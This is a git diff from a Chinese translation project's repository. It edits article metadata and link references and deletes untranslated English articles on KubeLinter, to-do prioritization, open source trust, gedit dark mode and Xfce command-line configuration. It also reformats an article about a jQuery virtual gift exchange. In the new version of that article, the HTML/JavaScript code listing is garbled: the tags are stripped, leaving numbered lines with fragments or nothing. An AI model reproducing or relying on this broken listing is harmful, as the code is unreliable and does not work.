image: docker.io/maistra/proxyv2-ubi8:1.1.5 +   imagePullPolicy: Always +   name: kourier-gateway +   ports: +   - name: http2-external +     containerPort: 8080 +     protocol: TCP +   - name: http2-internal +     containerPort: 8081 +     protocol: TCP +   - name: https-external +     containerPort: 8443 +     protocol: TCP  resources:     limits: -      cpu: 100m -      memory: 128Mi + cpu: 100m + memory: 128Mi     requests: -      cpu: 100m -      memory: 128Mi + cpu: 100m + memory: 128Mi ``` When you rerun the linter, you'll notice these issues no longer show in the output, and the error count changes: - ``` -`Error: found 8 lint errors` +Error: found 8 lint errors ``` Congratulations! You have fixed resource issues in your Kubernetes file! @@ -293,17 +277,16 @@ I think KubeLinter's best part is that each error message includes documentation via: https://opensource.com/article/21/1/kubelinter 作者:[Jessica Cherry][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mistake_bug_fix_find_error.png?itok=PZaz3dga (magnifying glass on computer screen, finding a bug in the code) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/mistake_bug_fix_find_error.png [2]: https://github.com/stackrox/kube-linter [3]: https://knative.dev/ -[4]: mailto:git@github.com -[5]: https://opensource.com/article/20/6/homebrew-linux -[6]: https://opensource.com/article/20/11/knative +[4]: https://opensource.com/article/20/6/homebrew-linux +[5]: https://opensource.com/article/20/11/knative diff --git a/sources/tech/20210114 How I prioritize tasks on my to-do list.md b/sources/tech/20210114 How I prioritize tasks on my to-do list.md deleted file mode 100644 index 113da5a508..0000000000 --- a/sources/tech/20210114 How I prioritize tasks on my to-do list.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I prioritize tasks on my to-do list) -[#]: via: (https://opensource.com/article/21/1/prioritize-tasks) -[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) - -How I prioritize tasks on my to-do list -====== -Use the Eisenhower Matrix to better organize and prioritize your to-do -lists. -![Team checklist and to dos][1] - -In prior years, this annual series covered individual apps. This year, we are looking at all-in-one solutions in addition to strategies to help in 2021. Welcome to day 4 of 21 Days of Productivity in 2021. In this article, I'll examine a strategy for prioritizing tasks on a to-do list. To find the open source tool that suits your routine, check out [this list][2].  - -It is easy to add things to a task or to-do list. Almost too easy, really. And once on the list, the challenge becomes figuring out what to do first. Do we do the thing at the top of the list? Is the top of the list the most important thing? How do we figure out what the most important thing is? - -![To-do list][3] - -To-do. Today? Tomorrow? Who knows? (Kevin Sonney, [CC BY-SA 4.0][4]) - -[Much like email][5], we can prioritize tasks based on a couple of things, and this lets us figure out what needs to be done first and what can wait until later. - -I use a method commonly known as the _Eisenhower Matrix_ since it was taken from a quote by US President Dwight D. Eisenhower. Draw a box split horizontally and vertically. Label the columns "Urgent" and "Not Urgent," and the rows "Important" and "Not Important." - -![Eisenhower matrix][6] - -An Eisenhower Matrix. (Kevin Sonney, [CC BY-SA 4.0][4]) - -You can typically put all of the things on a to-do list in one of the boxes. But how do we know what to put where? Urgency and importance are often subjective. So the first step is to decide what is important to you. My family (including my pets), my work, and my hobbies are all important. If something on my to-do list isn't related to those three things, I can immediately put it into the "Not Important" row. - -Urgency is a little more cut and dry. Is it something that needs to be done today or tomorrow? Then it is probably "Urgent." Does it have a deadline that is approaching, but there are days/weeks/months until that time, or perhaps it doesn't have a deadline at all? Certainly "Not Urgent." - -Now we can translate the boxes into priorities. "Urgent/Important" is the highest priority (i.e., Priority 1) and needs to be done first. "Not Urgent/Important" comes next (Priority 2), then "Urgent/Not Important" (Priority 3), and finally "Not Urgent/Not Important" (Priority 4 or no priority at all). - -Notice that "Urgent/Not Important" is third, not second. This is because people spend a lot of time on things that are important because they are urgent, not because they are _actually_ important. When I look at these, I ask myself some questions. Are these tasks that need to be done by me specifically? Are these tasks I can ask other people to do? Are they important and urgent for someone else? Does that change their importance for me? Maybe they need to be re-classified, or perhaps they are things I can ask someone else to do and remove them from my list. - -![After prioritizing][7] - -After prioritizing. (Kevin Sonney, [CC BY-SA 4.0][4]) - -There is a single question to ask about the items in the "Not Urgent/Not Important" box, and that is "Do these need to even be on my list at all?" In all honesty, we often clog up our to-do lists with things that are not urgent or important, and we can remove them from our list altogether. I know it is hard to admit that "This is never going to get done," but after I accept that, it is a relief to take that item off my list and not worry about it anymore. - -After all that, it is pretty easy to look at my list and say, "This is what I need to work on now," and get it done, which is what my to-do list is for: Providing guidance and focus to my day. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/prioritize-tasks - -作者:[Kevin Sonney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ksonney -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/todo_checklist_team_metrics_report.png?itok=oB5uQbzf (Team checklist and to dos) -[2]: https://opensource.com/article/20/5/alternatives-list -[3]: https://opensource.com/sites/default/files/pictures/to-do-list.png (To-do list) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/article/21/1/email-rules -[6]: https://opensource.com/sites/default/files/pictures/eisenhower-matrix.png (Eisenhower matrix) -[7]: https://opensource.com/sites/default/files/pictures/after-prioritizing.png (After prioritizing) diff --git a/sources/tech/20210115 How open source builds distributed trust.md b/sources/tech/20210115 How open source builds distributed trust.md deleted file mode 100644 index 7aae6f9d94..0000000000 --- a/sources/tech/20210115 How open source builds distributed trust.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How open source builds distributed trust) -[#]: via: (https://opensource.com/article/21/1/open-source-distributed-trust) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) - -How open source builds distributed trust -====== -Trust in open source is a positive feedback loop. -![Trust][1] - -This is an edited excerpt from my forthcoming book on _Trust in Computing and the Cloud_ for [Wiley][2] and leads on from a previous article I wrote called [_Trust & choosing open source_][3]. - -In that article, I asked the question: What are we doing when we say, "I trust open source software"? In reply, I suggested that what we are doing is making a determination that enough of the people who have written and tested it have similar requirements to mine, and that their expertise, combined, is such that the risk to my using the software is acceptable. I also introduced the idea of _distributed trust_. - -The concept of distributing trust across a community is an application of the _wisdom of the crowd_ theory posited by Aristotle, where the assumption is that the opinions of many typically show more wisdom than the opinion of one or a few. While demonstrably false in its simplest form in some situations—the most obvious example being examples of popular support for totalitarian regimes—this principle can provide a very effective mechanism for establishing certain information. - -This distillation of collective experience allows what we refer to as _distributed trust_ and is collected through numerous mechanisms on the internet. Some, like TripAdvisor or Glassdoor, record information about organisations or the services they provide, while others, like UrbanSitter or LinkedIn, allow users to add information about specific people (see, for instance, LinkedIn's Recommendations and Skills & Endorsements sections in individuals' profiles). The benefits that can accrue from these examples are significantly increased by the network effect, as the number of possible connections between members increases exponentially as the number of members increases. - -Other examples of distributed trust include platforms like Twitter, where the number of followers that an account receives can be seen as a measure of its reputation and even of its trustworthiness, a calculation which we should view with a strong degree of scepticism. Indeed, Twitter felt that it had to address the social power of accounts with large numbers of followers and instituted a "verified accounts" mechanism to let people know that "an account of public interest is authentic." Interestingly, the company had to suspend the service after problems related to users' expectations of exactly what "verified" meant or implied: a classic case of differing understanding of context between different groups. - -Where is the relevance to open source, then? The community aspect of open source is actually a driver towards building distributed trust. This is because, once you become a part of the community around an open source project, you assume one or more of the roles that you start trusting once you say that you "trust" an open source project (see my previous article). Examples include architect, designer, developer, reviewer, technical writer, tester, deployer, bug reporter, or bug fixer. The more involvement you have in a project, the more you become part of the community, which can, in time, become a _community of practice_. - -Jean Lave and Etienne Wenger introduced the concept of communities of practice in the book _[Situated Learning: Legitimate Peripheral Participation][4]_, where groups evolve into communities as their members share a passion and participate in shared activities, leading to improving their skills and knowledge together. The core concept here is that as participants learn _around_ a community of practice, they become members of it at the same time: - -> "Legitimate peripheral participation refers both to the development of knowledgeably skilled identities in practice and to the reproduction and transformation of communities of practice." - -Wenger further explored the concept of communities of practice, how they form, requirements for their health, and how they encourage learning in _[Communities of Practice: Learning, Meaning, and Identity][5]_. He identified _negotiability of meaning_ ("why are we working together, what are we trying to achieve?") as core to a community of practice and noted that without _engagement_, _imagination_, and _alignment_ by individuals, communities of practice will not be robust. - -We can align this with our views of how distributed trust is established and built: when you realise that your impact on open source can be equal to that of others, the distributed trust relationships that you hold to members of a community become less transitive (second- or third-hand or even more remote) and more immediate. You understand that the impact you can have on the creation, maintenance, requirements, and quality of the software you are running can be the same as all of the other, previously anonymous contributors with whom you are now forming a community of practice or whose existing community of practice you are joining. Then you become part of a network of trust relationships that are distributed but less removed from what you experience when buying and operating proprietary software. - -The process does not stop there; as a common property of open source projects is cross-pollination, where developers from one project also work on others. This increases as the network effect of multiple open source projects allows reuse and dependencies on other projects to rise and leads to greater take-up across the entire set of projects. - -It is easy to see why many open source contributors become open source enthusiasts or evangelists, not just for a single project but for open source as a whole. In fact, work by Stanford sociologist [Mark Granovetter][6] suggests that too many strong ties within communities can lead to cliques and stagnation, but weak ties provide movement of ideas and trends around communities. This awareness of other projects and the communities that exist around them and the flexibility of ideas across projects leads to distributed trust being able to be extended (albeit with weaker assurances) beyond the direct or short-chain indirect relationships that contributors experience within projects where they have immediate experience and out towards other projects where external observation or peripheral involvement shows that similar relationships exist between contributors. - -Put simply, the act of being involved in an open source project and building trust relationships through participation leads to stronger distributed trust towards similar open source projects or just to other projects that are similarly open source. - -What does this mean for each of us? It means that the more we get involved in open source, the more trust we can have in open source, as there will be a corresponding growth in the involvement—and therefore trust—of other people in open source. Trust in open source isn't just a network effect: it's a positive feedback loop! - -* * * - -_This article was originally published on [Alice, Eve, and Bob][7] and is reprinted with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/open-source-distributed-trust - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_trust.png?itok=KMfi0Rdo (Trust) -[2]: https://wiley.com/ -[3]: https://aliceevebob.com/2019/06/18/trust-choosing-open-source/ -[4]: https://books.google.com/books/about/Situated_Learning.html?id=CAVIOrW3vYAC -[5]: https://books.google.com/books?id=Jb8mAAAAQBAJ&dq=Communities%20of%20Practice:%20Learning,%20meaning%20and%20identity&lr= -[6]: https://en.wikipedia.org/wiki/Mark_Granovetter -[7]: https://aliceevebob.com/2020/11/17/how-open-source-builds-distributed-trust/ diff --git a/sources/tech/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md b/sources/tech/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md deleted file mode 100644 index a037e8b060..0000000000 --- a/sources/tech/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Highlighted Text Not Visible in gedit in Dark Mode? Here’s What You Can Do) -[#]: via: (https://itsfoss.com/gedit-dark-mode-problem/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Highlighted Text Not Visible in gedit in Dark Mode? Here’s What You Can Do -====== - -I love [using dark mode in Ubuntu][1]. It’s soothing on the eyes and makes the system look aesthetically more pleasing, in my opinion. - -One minor annoyance I noticed is with [gedit][2] text editor and if you use it with the dark mode in your system, you might have encountered it too. - -By default, gedit highlights the line where your cursor is. That’s a useful feature but it becomes a pain if you are using dark mode in your Linux system. Why? Because the highlighted text is not readable anymore. Have a look at it yourself: - -![Text on the highlighted line is hardly visible][3] - -If you select the text, it becomes readable but it’s not really a pleasant reading or editing experience. - -![Selecting the text makes it better but that’s not a convenient thing to do for all lines][4] - -The good thing is that you don’t have to live with it. I’ll show a couple of steps you can take to enjoy dark mode system and gedit together. - -### Making gedit reader-friendly in dark mode - -You basically have two options: - - 1. Disable highlight the current line but then you’ll have to figure out which line you are at. - 2. Change the default color settings but then the colors of the editor will be slightly different, and it won’t switch to light mode automatically if you change the system theme. - - - -It’s a workaround and compromise that you’ll have to make until the gedit or GNOME developers fix the issue. - -#### Option 1: Disable highlighting current line - -When you have gedit opened, click on the hamburger menu and select **Preferences**. - -![Go to Preferences][5] - -In the View tab, you should see the “Highlight current line” option under Highlighting section. Uncheck this. The effects are visible immediately. - -![Disable highlighting current line][6] - -Highlighting current line is a usable feature and if you want to continue using it, opt for the second option. - -#### Option 2: Change the editor color theme - -In the Preferences window, go to Font & Colors tab and change the color scheme to Oblivion, Solarized Dark or Cobalt. - -![Change the color scheme][7] - -As I mentioned earlier, the drawback is that when you switch the system theme to a light theme, the editor theme isn’t switched automatically to the light theme. - -### A bug that should be fixed by devs - -There are [several text editors available for Linux][8] but for quick reading or editing a text file, I prefer using gedit. It’s a minor annoyance but an annoyance nonetheless. The developers should fix it in future version of this awesome text editor so that we don’t have to resort to these worarounds. - -How about you? Do you use dark mode on your system or light mode? Had you noticed this trouble with gedit? Did you take any steps to fix it? Feel free to share your experience. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/gedit-dark-mode-problem/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/dark-mode-ubuntu/ -[2]: https://wiki.gnome.org/Apps/Gedit -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-problem.png?resize=779%2C367&ssl=1 -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-issue.png?resize=779%2C367&ssl=1 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-preference.jpg?resize=777%2C527&ssl=1 -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-highlight-line-gedit.jpg?resize=781%2C530&ssl=1 -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-color-scheme-gedit.jpg?resize=785%2C539&ssl=1 -[8]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ diff --git a/sources/tech/20210122 Configure a Linux workspace remotely from the command line.md b/sources/tech/20210122 Configure a Linux workspace remotely from the command line.md deleted file mode 100644 index 373b850f80..0000000000 --- a/sources/tech/20210122 Configure a Linux workspace remotely from the command line.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (Donke-Hao) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Configure a Linux workspace remotely from the command line) -[#]: via: (https://opensource.com/article/21/1/remote-configuration-xfce4) -[#]: author: (David Both https://opensource.com/users/dboth) - -Configure a Linux workspace remotely from the command line -====== -Nearly everything can be done from the Linux command line, including -remote configuration of Xfce4. -![Coding on a computer][1] - -One of the things I appreciate about Linux versus proprietary operating systems is that almost everything can be managed and configured from the command line. That means that nearly everything can be configured locally or even remotely via an SSH login connection. Sometimes it takes a bit of time spent on Internet searches, but if you can think of a task, it can probably be done from the command line. - -### The problem - -Sometimes it is necessary to make remote modifications to a desktop using the command line. In this particular case, I needed to reduce the number of workspaces on the [Xfce][2] panel from four to three at the request of a remote user. This configuration only required about 20 minutes of searching on the Internet. - -The default workspace count and many other settings for **xfwm4** can be found and changed in the **/usr/share/xfwm4/defaults** file. So setting _workspace_count=4_ to _workspace_count=2_ changes the default for all users on the host. Also, the **xfconf-query** command can be run by non-root users to query and set various attributes for the **xfwm4** window manager. It should be used by the user account that requires the change and not by root. - -In the sample below, I have first verified the current setting of _four_ workspaces, then set the number to _two_, and finally confirmed the new setting. - - -``` -[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count -4 -[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count -s 2 -[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count -2 -[user@test1 ~]# -``` - -This change takes place immediately and is visible to the user without a reboot or even logging out and back in. I had a bit of fun with this on my workstation by watching the workspace switcher change as I entered commands to set different numbers of workspaces. I get my amusements where I can these days. ;-) - -### More exploration - -Now that I fixed the problem, I decided to explore the **xfconf-query** command in a bit more detail. Unfortunately, there are no man or info pages for this tool, nor is there any documentation in **/usr/share**. The usual fallback of using the **-h** option resulted in little helpful information. - - -``` -$ xfconf-query -h - Usage: -   xfconf-query [OPTION…] - Xfconf commandline utility - Help Options: -   -h, --help            Show help options - Application Options: -   -V, --version         Version information -   -c, --channel         The channel to query/modify -   -p, --property        The property to query/modify -   -s, --set             The new value to set for the property -   -l, --list            List properties (or channels if -c is not specified) -   -v, --verbose         Verbose output -   -n, --create          Create a new property if it does not already exist -   -t, --type            Specify the property value type -   -r, --reset           Reset property -   -R, --recursive       Recursive (use with -r) -   -a, --force-array     Force array even if only one element -   -T, --toggle          Invert an existing boolean property -   -m, --monitor         Monitor a channel for property changes -``` - -This is not a lot of help, but we can figure out a good bit from it anyway. First, _channels_ are groupings of properties that can be modified. I made the change above to the **general** channel, and the property is **workspace_count**. Let’s look at the complete list of channels. - - -``` -$ xfconf-query -l -Channels: -  xfwm4 -  xfce4-keyboard-shortcuts -  xfce4-notifyd -  xsettings -  xfdashboard -  thunar -  parole -  xfce4-panel -  xfce4-appfinder -  xfce4-settings-editor -  xfce4-power-manager -  xfce4-session -  keyboards -  displays -  keyboard-layout -  ristretto -  xfcethemer -  xfce4-desktop -  pointers -  xfce4-settings-manager -  xfce4-mixer -``` - -The properties for a given channel can also be viewed using the following syntax. I have used the **less** pager because the result is a long stream of data. I have pruned the listing below but left enough to see the type of entries you can expect to find. - - -``` -$ xfconf-query -c xfwm4 -l | less -/general/activate_action -/general/borderless_maximize -/general/box_move -/general/box_resize -/general/button_layout -/general/button_offset -<SNIP> -/general/workspace_count -/general/workspace_names -/general/wrap_cycle -/general/wrap_layout -/general/wrap_resistance -/general/wrap_windows -/general/wrap_workspaces -/general/zoom_desktop -(END) -``` - -You can explore all the channels in this manner. I discovered that the channels generally correspond to the various settings in the **Settings Manager**. The properties are the ones that you would set in those dialogs. Note that not all the icons you will find in the **Settings Manager** dialog window are part of the **Xfce** desktop, so there are no corresponding channels for them. The **Screensaver** is one example because it is a generic GNU screensaver and not unique to **Xfce**. The **Settings Manager** is just a good central place for **Xfce** to locate many of these configuration tools. - -### Documentation - -As mentioned previously, there do not appear to be any man or info pages for the **xconf-query** command, and I found a lot of incorrect and poorly documented information on the Internet. The best documentation I found for **Xfce4** is on the [Xfce website][2], and some specific information on **xconf-query** can be found here. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/remote-configuration-xfce4 - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) -[2]: https://www.xfce.org/ diff --git a/sources/tech/20210123 How I programmed a virtual gift exchange.md b/sources/tech/20210123 How I programmed a virtual gift exchange.md index 446c1b50c2..a633e69e0c 100644 --- a/sources/tech/20210123 How I programmed a virtual gift exchange.md +++ b/sources/tech/20210123 How I programmed a virtual gift exchange.md @@ -1,40 +1,40 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I programmed a virtual gift exchange) -[#]: via: (https://opensource.com/article/21/1/open-source-gift-exchange) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) +[#]: subject: "How I programmed a virtual gift exchange" +[#]: via: "https://opensource.com/article/21/1/open-source-gift-exchange" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " How I programmed a virtual gift exchange ====== -A book club takes its annual gift exchange online with the help of HTML, -CSS, and JavaScript. +A book club takes its annual gift exchange online with the help of HTML, CSS, and JavaScript. + ![Package wrapped with brown paper and red bow][1] +Image by: Photo by [Jess Bailey][2] on [Unsplash][3] + Every year, my wife's book club has a book exchange during the holidays. Due to the need to maintain physical distance in 2020, I created an online gift exchange for them to use during a book club videoconference. Apparently, the virtual book exchange worked out (at least, I received kind compliments from the book club members), so I decided to share this simple little hack. ### How the book exchange usually works In past years, the exchange has gone something like this: - 1. Each person buys a book and wraps it up. - 2. Everyone arrives at the host's home and puts the wrapped books in a pile. - 3. Each person draws a number out of a hat, which establishes their turn. - 4. The person who drew No. 1 selects a book from the pile and unwraps it. In turn, each subsequent person chooses to either take a wrapped book from the pile or to steal an unwrapped book from someone who has gone before. - 5. When someone's book is stolen, they can either replace it with a wrapped book from the pile or steal another book (but not the one that was stolen from them) from someone else. - 6. And so on… eventually, someone has to take the last unwrapped book to end the exchange. - - +1. Each person buys a book and wraps it up. +2. Everyone arrives at the host's home and puts the wrapped books in a pile. +3. Each person draws a number out of a hat, which establishes their turn. +4. The person who drew No. 1 selects a book from the pile and unwraps it. In turn, each subsequent person chooses to either take a wrapped book from the pile or to steal an unwrapped book from someone who has gone before. +5. When someone's book is stolen, they can either replace it with a wrapped book from the pile or steal another book (but not the one that was stolen from them) from someone else. +6. And so on… eventually, someone has to take the last unwrapped book to end the exchange. ### Designing the virtual book exchange My first decision was which implementation platform to use for the book exchange. Because there would already be a browser open to host the videoconference, I decided to use HTML, CSS, and JavaScript. -Then it was design time. After some thinking, I decided to use rectangles to represent the book club members and the books. The books would be draggable, and when one was dropped on a member's rectangle, the book would unwrap (and stay unwrapped). I needed some "wrapping paper," so I used this source of [free-to-use images][2]. +Then it was design time. After some thinking, I decided to use rectangles to represent the book club members and the books. The books would be draggable, and when one was dropped on a member's rectangle, the book would unwrap (and stay unwrapped). I needed some "wrapping paper," so I used this source of [free-to-use images][4]. -I took screenshots of the patterns I liked and used [GIMP][3] to scale the images to the right width and height. +I took screenshots of the patterns I liked and used [GIMP][5] to scale the images to the right width and height. I needed a way to handle draggable and droppable interactions; given that I've been using jQuery and jQuery UI for several years now, I decided to continue along that path. @@ -42,25 +42,19 @@ For a while, I struggled with what a droppable element should do when something Jumping to the results, here's a screenshot of the user interface at the beginning of the exchange: -![Virtual book exchange][4] - -(Chris Hermansen, [CC BY-SA 4.0][5]) +![Virtual book exchange][6] There are nine book club members: Wanda, Carlos, Bill, and so on. There are also nine fairly ugly wrapped parcels. Let's say Wanda goes first and chooses the flower wrapping paper. The host clicks and drags that parcel to Wanda's name, and the parcel unwraps: -![Virtual book exchange][6] - -(Chris Hermansen, [CC BY-SA 4.0][5]) +![Virtual book exchange][7] Whoops! That title and author are a bit too long to fit on the book's "cover." Oh well, I'll fix that in the next version. Carlos is next. He decides he really wants to read that book, so he steals it. Wanda then chooses the paisley pattern, and the screen looks like this: -![Virtual book exchange][7] - -(Chris Hermansen, [CC BY-SA 4.0][5]) +![Virtual book exchange][8] And so on until the exchange ends. @@ -68,120 +62,117 @@ And so on until the exchange ends. So what about the code? Here it is: - ``` -     1  <!doctype html> -     2  <[html][8] lang="en"> -     3  <[head][9]> -     4    <[meta][10] charset="utf-8"> -     5    <[title][11]>Book Exchange</[title][11]> -     6    <[link][12] rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/smoothness/jquery-ui.css"> -     7    <[style][13]> -     8    .draggable { -     9      float: left; -    10      width: 90px; -    11      height: 90px; -    12      background: #ccc; -    13      padding: 5px; -    14      margin: 5px 5px 5px 0; -    15    } -    16    .droppable { -    17      float: left; -    18      width: 100px; -    19      height: 125px; -    20      background: #999; -    21      color: #fff; -    22      padding: 10px; -    23      margin: 10px 10px 10px 0; -    24    } -    25    </[style][13]> -    26    <[script][14] src="[https://code.jquery.com/jquery-1.12.4.js"\>\][15]</[script][14]> -    27    <[script][14] src="[https://code.jquery.com/ui/1.12.1/jquery-ui.js"\>\][16]</[script][14]> -    28  </[head][9]> -    29  <[body][17]> -    30  <[h1][18] style="color:#1a1aff;">Raffles Book Club Remote Gift Exchange</[h1][18]> -    31  <[h2][19] style="color:#aa0a0a;">The players, in random order, and the luxurious gifts, wrapped:</[h2][19]> -    32    -    33  <[div][20]> -    34  <[div][20] id="wanda" class="droppable">Wanda</[div][20]> -    35  <[div][20] id="carlos" class="droppable">Carlos</[div][20]> -    36  <[div][20] id="bill" class="droppable">Bill</[div][20]> -    37  <[div][20] id="arlette" class="droppable">Arlette</[div][20]> -    38  <[div][20] id="joanne" class="droppable">Joanne</[div][20]> -    39  <[div][20] id="aleks" class="droppable">Alekx</[div][20]> -    40  <[div][20] id="ermintrude" class="droppable">Ermintrude</[div][20]> -    41  <[div][20] id="walter" class="droppable">Walter</[div][20]> -    42  <[div][20] id="hilary" class="droppable">Hilary</[div][20]> -    43  </[div][20]> -    44  <[div][20]> -    45  <[div][20] id="bows" class="draggable" style="background-image: url('bows.png');"></[div][20]> -    46  <[div][20] id="boxes" class="draggable" style="background-image: url('boxes.png');"></[div][20]> -    47  <[div][20] id="circles" class="draggable" style="background-image: url('circles.png');"></[div][20]> -    48  <[div][20] id="gerbers" class="draggable" style="background-image: url('gerbers.png');"></[div][20]> -    49  <[div][20] id="hippie" class="draggable" style="background-image: url('hippie.png');"></[div][20]> -    50  <[div][20] id="lattice" class="draggable" style="background-image: url('lattice.png');"></[div][20]> -    51  <[div][20] id="nautical" class="draggable" style="background-image: url('nautical.png');"></[div][20]> -    52  <[div][20] id="splodges" class="draggable" style="background-image: url('splodges.png');"></[div][20]> -    53  <[div][20] id="ugly" class="draggable" style="background-image: url('ugly.png');"></[div][20]> -    54  </[div][20]> -    55    -    56  <[script][14]> -    57  var books = { -    58      'bows': 'Untamed by Glennon Doyle', -    59      'boxes': "The Heart's Invisible Furies by John Boyne", -    60      'circles': 'The Great Halifax Explosion by John Bacon', -    61      'gerbers': 'Homes: A Refugee Story by Abu Bakr al Rabeeah, Winnie Yeung', -    62      'hippie': 'Before We Were Yours by Lisa Wingate', -    63      'lattice': "Hamnet and Judith by Maggie O'Farrell", -    64      'nautical': 'Shuggy Bain by Douglas Stewart', -    65      'splodges': 'Magdalena by Wade Davis', -    66      'ugly': 'Funny Boy by Shyam Selvadurai' -    67  }; -    68  $( ".droppable" ).droppable({ -    69    drop: function(event, ui) { -    70      var element = $(ui.draggable[0]); -    71      var wrapping = element.attr('id'); -    72      /* alert( $(this).text() + " got " + wrapping); */ -    73      $(ui.draggable[0]).css("background-image","url(book_cover.png)"); -    74      $(ui.draggable[0]).text(books[wrapping]); -    75    }, -    76    out: function() { -    77      /* alert( $(this).text() + " lost it" ); */ -    78    } -    79  }); -    80  $( ".draggable" ).draggable(); -    81  </[script][14]> -    82    -    83  </[body][17]> -    84  </[html][8]> +1  +2  +3  +4    +5    Book Exchange +6    +7    +26    +27    +28  +29  +30 

Raffles Book Club Remote Gift Exchange

+31 

The players, in random order, and the luxurious gifts, wrapped:

+32    +33 
+34 
Wanda
+35 
Carlos
+36 
Bill
+37 
Arlette
+38 
Joanne
+39 
Alekx
+40 
Ermintrude
+41 
Walter
+42 
Hilary
+43 
+44 
+45 
+46 
+47 
+48 
+49 
+50 
+51 
+52 
+53 
+54 
+55    +56  +82    +83  +84  ``` ### Breaking it down Let's go over this code bit by bit. - * **Lines 1–6:** Upfront, I have the usual HTML boilerplate, `HTML`, `HEAD`, `META`, `TITLE` elements, followed by a link to the CSS for jQuery UI. - * **Lines 7–25:** I added two new style classes: `draggable` and `droppable`. These define the layout for the books (draggable) and the people (droppable). Note that, aside from defining the size, background color, padding, and margin, I established that these need to float left. This way, the layout adjusts to the browser window width in a reasonably acceptable form. - * **Line 26–27:** With the CSS out of the way, it's time for the JavaScript libraries, first jQuery, then jQuery UI. - * **Lines 29–83:** Now that the `HEAD` element is done, next is the `BODY`: - * **Lines 30–31:** These couple of titles, `H1` and `H2`, let people know what they're doing here. - * **Lines 33–43:** A `DIV` to contain the people: - * **Lines 34–42:** The people are defined as droppable `DIV` elements and given `ID` fields corresponding to their names. - * **Lines 44–54:** A `DIV` to contain the books: - * **Lines 45–53:** The books are defined as draggable `DIV` elements. Each element is declared with a background image corresponding to the wrapping paper with no text between the `
` and `
